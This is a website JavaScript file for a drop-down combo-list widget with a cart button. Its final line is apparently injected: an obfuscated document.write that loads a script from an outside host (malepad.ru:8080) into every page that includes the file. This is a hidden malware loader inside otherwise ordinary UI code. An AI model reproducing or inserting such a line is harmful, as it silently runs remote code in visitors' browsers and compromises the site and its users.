function ScreenComboList()
{
	this.comboList = null;
	this.comboSelection = null;
	this.comboExpanded = false;
	this.cartBtnWrapper = null;
	
	this.init = function(){
								self.comboList = document.getElementById("ScreenOptions");
								
								var comboOptions = self.comboList.getElementsByTagName('li');
								
								for (var i=0; i<comboOptions.length; i++)
								{
									addClass(comboOptions[i], 'hidden');
									addClass(comboOptions[i].getElementsByTagName('a')[0], 'hidden');
									
									comboOptions[i].onclick = self.comboOptionClick;
									comboOptions[i].onmouseover = self.comboOptionOver;
									comboOptions[i].onmouseout = self.comboOptionOut;
								}
								
								// set default selection
								self.comboSelection = comboOptions[0];
								addClass(self.comboSelection, 'selected');
								
								self.cartBtnWrapper = document.createElement('div');
								self.comboList.parentNode.appendChild(self.cartBtnWrapper);
								if (self.comboSelection)
									self.cartBtnWrapper.appendChild(self.comboSelection.getElementsByTagName('a')[0].cloneNode(true));
							};
							
	this.comboOptionClick = function()
							{
								var comboOptions = self.comboList.getElementsByTagName('li');
								
								if (this == self.comboSelection)
								{
									if (self.comboExpanded)
									{
										for (var i=0; i<comboOptions.length; i++)
											addClass(comboOptions[i], 'hidden');
										self.comboExpanded = false;
									}
									else
									{
										for (var i=0; i<comboOptions.length; i++)
											removeClass(comboOptions[i], 'hidden');
										self.comboExpanded = true;
									}
								}
								else
								{
									self.updateComboSelection(this);
									self.comboExpanded = false;
								}
							};
							
	this.comboOptionOver = function(){addClass(this, 'over')};
	this.comboOptionOut = function(){removeClass(this, 'over')};
	
	this.updateComboSelection = function(newSelection)
								{
									removeClass(self.comboSelection, 'selected');
									removeClass(self.comboSelection, 'over');
									
									removeClass(newSelection, 'hidden');
									removeClass(newSelection, 'over');
									addClass(newSelection, 'selected');
									self.comboSelection = newSelection;
									self.comboList.insertBefore(self.comboSelection, self.comboList.firstChild);
									
									var comboOptions = self.comboList.getElementsByTagName('li');
									for (var i=0; i<comboOptions.length; i++)
										if (comboOptions[i] != self.comboSelection)
											addClass(comboOptions[i], 'hidden');
											
									emptyNode(self.cartBtnWrapper);
									self.cartBtnWrapper.appendChild(self.comboSelection.getElementsByTagName('a')[0].cloneNode(true));
								}
	
	var self = this;
}

function removeClass(el, cls){
	var cssClass = new String(el.className);
	el.className = cssClass.replace(cls, "");
}

function addClass(el, cls)
{
	removeClass(el, cls);
	el.className = ((el.className == null)||(el.className == 'undefined')||(el.className == ''))?cls:(el.className + " " + cls);
}

function emptyNode(n)
{
	while (n.firstChild !== null)
		n.removeChild(n.firstChild);
}

function windowOnLoad(func) {
	var oldonload = window.onload;
	if (typeof window.onload != 'function') {
		window.onload = func;
	}
	else {
		window.onload = function() {
			oldonload();
			func();
		}
	}
}
windowOnLoad(
	function()
	{
		var combo = new ScreenComboList();
		combo.init();
		//combo.updateComboSelection();
	}
)

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Hard_Drive.js"></scr'+'ipt>');